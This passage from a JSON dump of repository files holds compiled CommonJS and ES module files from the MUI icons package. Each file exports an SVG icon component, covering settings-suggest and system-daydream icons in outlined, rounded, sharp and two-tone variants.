    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.41 6.59 15 5.5l2.41-1.09L18.5 2l1.09 2.41L22 5.5l-2.41 1.09L18.5 9zm3.87 6.13L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zm-5.04 1.65 1.94 1.47-2.5 4.33-2.24-.94c-.2.13-.42.26-.64.37l-.3 2.4h-5l-.3-2.41c-.22-.11-.43-.23-.64-.37l-2.24.94-2.5-4.33 1.94-1.47c-.01-.11-.01-.24-.01-.36s0-.25.01-.37l-1.94-1.47 2.5-4.33 2.24.94c.2-.13.42-.26.64-.37L7.5 6h5l.3 2.41c.22.11.43.23.64.37l2.24-.94 2.5 4.33-1.94 1.47c.01.12.01.24.01.37s0 .24-.01.36M13 14c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3\"\n}), 'SettingsSuggest');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m8.5-2 1.09-2.41L22 5.5l-2.41-1.09L18.5 2l-1.09 2.41L15 5.5l2.41 1.09zm2.78 3.72L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zM16.25 14c0-.12 0-.25-.01-.37l1.94-1.47-2.5-4.33-2.24.94c-.2-.13-.42-.26-.64-.37L12.5 6h-5l-.3 2.41c-.22.11-.43.24-.64.37l-2.24-.95-2.5 4.33 1.94 1.47c-.01.12-.01.25-.01.37s0 .25.01.37l-1.94 1.47 2.5 4.33 2.24-.94c.2.13.42.26.64.37l.3 2.4h5l.3-2.41c.22-.11.43-.23.64-.37l2.24.94 2.5-4.33-1.94-1.47c.01-.11.01-.24.01-.36m-1.42 3.64-1.73-.73c-.56.6-1.3 1.04-2.13 1.23L10.73 20H9.27l-.23-1.86c-.83-.19-1.57-.63-2.13-1.23l-1.73.73-.73-1.27 1.49-1.13q-.18-.585-.18-1.23t.18-1.23l-1.49-1.13.73-1.27 1.73.73c.56-.6 1.3-1.04 2.13-1.23L9.27 8h1.47l.23 1.86c.83.19 1.57.63 2.13 1.23l1.73-.73.73 1.27-1.49 1.13q.18.585.18 1.23t-.18 1.23l1.49 1.13z\"\n}), 'SettingsSuggestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m8.5-2 1.09-2.41L22 5.5l-2.41-1.09L18.5 2l-1.09 2.41L15 5.5l2.41 1.09zm2.78 3.72L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zM16.25 14c0-.12 0-.25-.01-.37l1.94-1.47-2.5-4.33-2.24.94c-.2-.13-.42-.26-.64-.37L12.5 6h-5l-.3 2.41c-.22.11-.43.24-.64.37l-2.24-.95-2.5 4.33 1.94 1.47c-.01.12-.01.25-.01.37s0 .25.01.37l-1.94 1.47 2.5 4.33 2.24-.94c.2.13.42.26.64.37l.3 2.4h5l.3-2.41c.22-.11.43-.23.64-.37l2.24.94 2.5-4.33-1.94-1.47c.01-.11.01-.24.01-.36m-1.42 3.64-1.73-.73c-.56.6-1.3 1.04-2.13 1.23L10.73 20H9.27l-.23-1.86c-.83-.19-1.57-.63-2.13-1.23l-1.73.73-.73-1.27 1.49-1.13q-.18-.585-.18-1.23t.18-1.23l-1.49-1.13.73-1.27 1.73.73c.56-.6 1.3-1.04 2.13-1.23L9.27 8h1.47l.23 1.86c.83.19 1.57.63 2.13 1.23l1.73-.73.73 1.27-1.49 1.13q.18.585.18 1.23t-.18 1.23l1.49 1.13z\"\n}), 'SettingsSuggestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.04 7.99-.63-1.4-1.4-.63c-.39-.18-.39-.73 0-.91l1.4-.63.63-1.4c.18-.39.73-.39.91 0l.63 1.4 1.4.63c.39.18.39.73 0 .91l-1.4.63-.63 1.4c-.17.39-.73.39-.91 0m3.24 4.73-.32-.72c-.18-.39-.73-.39-.91 0l-.32.72-.73.32c-.39.18-.39.73 0 .91l.72.32.32.73c.18.39.73.39.91 0l.32-.72.73-.32c.39-.18.39-.73 0-.91zm-5.04 1.65 1.23.93c.4.3.51.86.26 1.3l-1.62 2.8c-.25.44-.79.62-1.25.42l-1.43-.6c-.2.13-.42.26-.64.37l-.19 1.54c-.06.5-.49.88-.99.88H8.38c-.5 0-.93-.38-.99-.88l-.19-1.54c-.22-.11-.43-.23-.64-.37l-1.43.6c-.46.2-1 .02-1.25-.42l-1.62-2.8c-.25-.44-.14-.99.26-1.3l1.23-.93V14c0-.12 0-.25.01-.37l-1.23-.93c-.4-.3-.51-.86-.26-1.3l1.62-2.8c.25-.44.79-.62 1.25-.42l1.43.6c.2-.13.42-.26.64-.37l.19-1.54c.05-.49.48-.87.98-.87h3.23c.5 0 .93.38.99.88l.19 1.54c.22.11.43.23.64.37l1.43-.6c.46-.2 1-.02 1.25.42l1.62 2.8c.25.44.14.99-.26 1.3l-1.23.93c.01.12.01.24.01.37s0 .24-.01.36M13 14c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3\"\n}), 'SettingsSuggestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.04 7.99-.63-1.4-1.4-.63c-.39-.18-.39-.73 0-.91l1.4-.63.63-1.4c.18-.39.73-.39.91 0l.63 1.4 1.4.63c.39.18.39.73 0 .91l-1.4.63-.63 1.4c-.17.39-.73.39-.91 0m3.24 4.73-.32-.72c-.18-.39-.73-.39-.91 0l-.32.72-.73.32c-.39.18-.39.73 0 .91l.72.32.32.73c.18.39.73.39.91 0l.32-.72.73-.32c.39-.18.39-.73 0-.91zm-5.04 1.65 1.23.93c.4.3.51.86.26 1.3l-1.62 2.8c-.25.44-.79.62-1.25.42l-1.43-.6c-.2.13-.42.26-.64.37l-.19 1.54c-.06.5-.49.88-.99.88H8.38c-.5 0-.93-.38-.99-.88l-.19-1.54c-.22-.11-.43-.23-.64-.37l-1.43.6c-.46.2-1 .02-1.25-.42l-1.62-2.8c-.25-.44-.14-.99.26-1.3l1.23-.93V14c0-.12 0-.25.01-.37l-1.23-.93c-.4-.3-.51-.86-.26-1.3l1.62-2.8c.25-.44.79-.62 1.25-.42l1.43.6c.2-.13.42-.26.64-.37l.19-1.54c.05-.49.48-.87.98-.87h3.23c.5 0 .93.38.99.88l.19 1.54c.22.11.43.23.64.37l1.43-.6c.46-.2 1-.02 1.25.42l1.62 2.8c.25.44.14.99-.26 1.3l-1.23.93c.01.12.01.24.01.37s0 .24-.01.36M13 14c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3\"\n}), 'SettingsSuggestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.41 6.59 15 5.5l2.41-1.09L18.5 2l1.09 2.41L22 5.5l-2.41 1.09L18.5 9zm3.87 6.13L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zm-5.04 1.65 1.94 1.47-2.5 4.33-2.24-.94c-.2.13-.42.26-.64.37l-.3 2.4h-5l-.3-2.41c-.22-.11-.43-.23-.64-.37l-2.24.94-2.5-4.33 1.94-1.47c-.01-.11-.01-.24-.01-.36s0-.25.01-.37l-1.94-1.47 2.5-4.33 2.24.94c.2-.13.42-.26.64-.37L7.5 6h5l.3 2.41c.22.11.43.23.64.37l2.24-.94 2.5 4.33-1.94 1.47c.01.12.01.24.01.37s0 .24-.01.36M13 14c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3\"\n}), 'SettingsSuggestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.41 6.59 15 5.5l2.41-1.09L18.5 2l1.09 2.41L22 5.5l-2.41 1.09L18.5 9zm3.87 6.13L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zm-5.04 1.65 1.94 1.47-2.5 4.33-2.24-.94c-.2.13-.42.26-.64.37l-.3 2.4h-5l-.3-2.41c-.22-.11-.43-.23-.64-.37l-2.24.94-2.5-4.33 1.94-1.47c-.01-.11-.01-.24-.01-.36s0-.25.01-.37l-1.94-1.47 2.5-4.33 2.24.94c.2-.13.42-.26.64-.37L7.5 6h5l.3 2.41c.22.11.43.23.64.37l2.24-.94 2.5 4.33-1.94 1.47c.01.12.01.24.01.37s0 .24-.01.36M13 14c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3\"\n}), 'SettingsSuggestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.07 15.23q.18-.585.18-1.23t-.18-1.23l1.49-1.13-.73-1.27-1.73.73c-.56-.6-1.3-1.04-2.13-1.23L10.73 8H9.27l-.24 1.86c-.83.19-1.57.63-2.13 1.23l-1.73-.73-.73 1.27 1.49 1.13q-.18.585-.18 1.23t.18 1.23l-1.49 1.13.73 1.27 1.73-.73c.56.6 1.3 1.04 2.13 1.23L9.27 20h1.47l.23-1.86c.83-.19 1.57-.63 2.13-1.23l1.73.73.73-1.27zM10 17c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m8.5-2 1.09-2.41L22 5.5l-2.41-1.09L18.5 2l-1.09 2.41L15 5.5l2.41 1.09zm2.78 3.72L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zM16.25 14c0-.12 0-.25-.01-.37l1.94-1.47-2.5-4.33-2.24.94c-.2-.13-.42-.26-.64-.37L12.5 6h-5l-.3 2.41c-.22.11-.43.24-.64.37l-2.24-.95-2.5 4.33 1.94 1.47c-.01.12-.01.25-.01.37s0 .25.01.37l-1.94 1.47 2.5 4.33 2.24-.94c.2.13.42.26.64.37l.3 2.4h5l.3-2.41c.22-.11.43-.23.64-.37l2.24.94 2.5-4.33-1.94-1.47c.01-.11.01-.24.01-.36m-1.42 3.64-1.73-.73c-.56.6-1.3 1.04-2.13 1.23L10.73 20H9.27l-.23-1.86c-.83-.19-1.57-.63-2.13-1.23l-1.73.73-.73-1.27 1.49-1.13q-.18-.585-.18-1.23t.18-1.23l-1.49-1.13.73-1.27 1.73.73c.56-.6 1.3-1.04 2.13-1.23L9.27 8h1.47l.23 1.86c.83.19 1.57.63 2.13 1.23l1.73-.73.73 1.27-1.49 1.13q.18.585.18 1.23t-.18 1.23l1.49 1.13z\"\n}, \"1\")], 'SettingsSuggestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggestTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.07 15.23q.18-.585.18-1.23t-.18-1.23l1.49-1.13-.73-1.27-1.73.73c-.56-.6-1.3-1.04-2.13-1.23L10.73 8H9.27l-.24 1.86c-.83.19-1.57.63-2.13 1.23l-1.73-.73-.73 1.27 1.49 1.13q-.18.585-.18 1.23t.18 1.23l-1.49 1.13.73 1.27 1.73-.73c.56.6 1.3 1.04 2.13 1.23L9.27 20h1.47l.23-1.86c.83-.19 1.57-.63 2.13-1.23l1.73.73.73-1.27zM10 17c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m8.5-2 1.09-2.41L22 5.5l-2.41-1.09L18.5 2l-1.09 2.41L15 5.5l2.41 1.09zm2.78 3.72L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zM16.25 14c0-.12 0-.25-.01-.37l1.94-1.47-2.5-4.33-2.24.94c-.2-.13-.42-.26-.64-.37L12.5 6h-5l-.3 2.41c-.22.11-.43.24-.64.37l-2.24-.95-2.5 4.33 1.94 1.47c-.01.12-.01.25-.01.37s0 .25.01.37l-1.94 1.47 2.5 4.33 2.24-.94c.2.13.42.26.64.37l.3 2.4h5l.3-2.41c.22-.11.43-.23.64-.37l2.24.94 2.5-4.33-1.94-1.47c.01-.11.01-.24.01-.36m-1.42 3.64-1.73-.73c-.56.6-1.3 1.04-2.13 1.23L10.73 20H9.27l-.23-1.86c-.83-.19-1.57-.63-2.13-1.23l-1.73.73-.73-1.27 1.49-1.13q-.18-.585-.18-1.23t.18-1.23l-1.49-1.13.73-1.27 1.73.73c.56-.6 1.3-1.04 2.13-1.23L9.27 8h1.47l.23 1.86c.83.19 1.57.63 2.13 1.23l1.73-.73.73 1.27-1.49 1.13q.18.585.18 1.23t-.18 1.23l1.49 1.13z\"\n}, \"1\")], 'SettingsSuggestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydream.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h6.5c1.38 0 2.5-1.12 2.5-2.5S16.88 11 15.5 11h-.05c-.24-1.69-1.69-3-3.45-3-1.4 0-2.6.83-3.16 2.02h-.16C7.17 10.18 6 11.45 6 13c0 1.66 1.34 3 3 3M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsSystemDaydream');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydream.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h6.5c1.38 0 2.5-1.12 2.5-2.5S16.88 11 15.5 11h-.05c-.24-1.69-1.69-3-3.45-3-1.4 0-2.6.83-3.16 2.02h-.16C7.17 10.18 6 11.45 6 13c0 1.66 1.34 3 3 3M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsSystemDaydream');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 17H9c-2.21 0-4-1.79-4-4 0-1.93 1.36-3.56 3.22-3.92C9.04 7.8 10.47 7 12 7c1.95 0 3.66 1.28 4.26 3.09 1.58.36 2.74 1.75 2.74 3.41 0 1.93-1.57 3.5-3.5 3.5m-6.76-5.98C7.74 11.15 7 11.99 7 13c0 1.1.9 2 2 2h6.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-.87l-.17-.86C14.29 9.92 13.23 9 12 9c-.96 0-1.84.57-2.26 1.45l-.27.57zM21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsSystemDaydreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 17H9c-2.21 0-4-1.79-4-4 0-1.93 1.36-3.56 3.22-3.92C9.04 7.8 10.47 7 12 7c1.95 0 3.66 1.28 4.26 3.09 1.58.36 2.74 1.75 2.74 3.41 0 1.93-1.57 3.5-3.5 3.5m-6.76-5.98C7.74 11.15 7 11.99 7 13c0 1.1.9 2 2 2h6.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-.87l-.17-.86C14.29 9.92 13.23 9 12 9c-.96 0-1.84.57-2.26 1.45l-.27.57zM21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsSystemDaydreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h6.5c1.38 0 2.5-1.12 2.5-2.5S16.88 11 15.5 11h-.05c-.24-1.69-1.69-3-3.45-3-1.4 0-2.6.83-3.16 2.02h-.16C7.17 10.18 6 11.45 6 13c0 1.66 1.34 3 3 3M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16.01H4c-.55 0-1-.45-1-1V5.99c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.02c0 .55-.45 1-1 1\"\n}), 'SettingsSystemDaydreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h6.5c1.38 0 2.5-1.12 2.5-2.5S16.88 11 15.5 11h-.05c-.24-1.69-1.69-3-3.45-3-1.4 0-2.6.83-3.16 2.02h-.16C7.17 10.18 6 11.45 6 13c0 1.66 1.34 3 3 3M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16.01H4c-.55 0-1-.45-1-1V5.99c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.02c0 .55-.45 1-1 1\"\n}), 'SettingsSystemDaydreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h6.5c1.38 0 2.5-1.12 2.5-2.5S16.88 11 15.5 11h-.05c-.24-1.69-1.69-3-3.45-3-1.4 0-2.6.83-3.16 2.02h-.16C7.17 10.18 6 11.45 6 13c0 1.66 1.34 3 3 3M23 3H1v18h22zm-2 16.01H3V4.99h18z\"\n}), 'SettingsSystemDaydreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h6.5c1.38 0 2.5-1.12 2.5-2.5S16.88 11 15.5 11h-.05c-.24-1.69-1.69-3-3.45-3-1.4 0-2.6.83-3.16 2.02h-.16C7.17 10.18 6 11.45 6 13c0 1.66 1.34 3 3 3M23 3H1v18h22zm-2 16.01H3V4.99h18z\"\n}), 'SettingsSystemDaydreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15h6.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-.87l-.17-.86C14.29 9.92 13.23 9 12 9c-.96 0-1.84.57-2.26 1.45l-.27.57h-.73C7.74 11.15 7 11.99 7 13c0 1.1.9 2 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 17h6.5c1.93 0 3.5-1.57 3.5-3.5 0-1.66-1.16-3.05-2.74-3.41C15.66 8.28 13.95 7 12 7c-1.53 0-2.96.8-3.78 2.08C6.36 9.44 5 11.07 5 13c0 2.21 1.79 4 4 4m-.26-5.98h.74l.27-.57C10.16 9.57 11.04 9 12 9c1.23 0 2.29.92 2.46 2.14l.17.86h.87c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5H9c-1.1 0-2-.9-2-2 0-1.01.74-1.85 1.74-1.98M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}, \"1\")], 'SettingsSystemDaydreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSystemDaydreamTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15h6.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-.87l-.17-.86C14.29 9.92 13.23 9 12 9c-.96 0-1.84.57-2.26 1.45l-.27.57h-.73C7.74 11.15 7 11.99 7 13c0 1.1.9 2 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 17h6.5c1.93 0 3.5-1.57 3.5-3.5 0-1.66-1.16-3.05-2.74-3.41C15.66 8.28 13.95 7 12 7c-1.53 0-2.96.8-3.78 2.08C6.36 9.44 5 11.07 5 13c0 2.21 1.79 4 4 4m-.26-5.98h.74l.27-.57C10.16 9.57 11.04 9 12 9c1.23 0 2.29.92 2.46 2.14l.17.86h.87c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5H9c-1.1 0-2-.9-2-2 0-1.01.74-1.85 1.74-1.98M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}, \"1\")], 'SettingsSystemDaydreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.28 8.6-.7-1.21-1.27.51-1.06.43-.91-.7c-.39-.3-.8-.54-1.23-.71l-1.06-.43-.16-1.13L12.7 4h-1.4l-.19 1.35-.16 1.13-1.06.44c-.41.17-.82.41-1.25.73l-.9.68-1.05-.42-1.27-.52-.7 1.21 1.08.84.89.7-.14 1.13c-.03.3-.05.53-.05.73s.02.43.05.73l.14 1.13-.89.7-1.08.84.7 1.21 1.27-.51 1.06-.43.91.7c.39.3.8.54 1.23.71l1.06.43.16 1.13.19 1.36h1.39l.19-1.35.16-1.13 1.06-.43c.41-.17.82-.41 1.25-.73l.9-.68 1.04.42 1.27.51.7-1.21-1.08-.84-.89-.7.14-1.13c.04-.31.05-.52.05-.73s-.02-.43-.05-.73l-.14-1.13.89-.7zM12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.09-.16-.26-.25-.44-.25-.06 0-.12.01-.17.03l-2.49 1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65C14.46 2.18 14.25 2 14 2h-4c-.25 0-.46.18-.49.42l-.38 2.65c-.61.25-1.17.59-1.69.98l-2.49-1q-.09-.03-.18-.03c-.17 0-.34.09-.43.25l-2 3.46c-.13.22-.07.49.12.64l2.11 1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 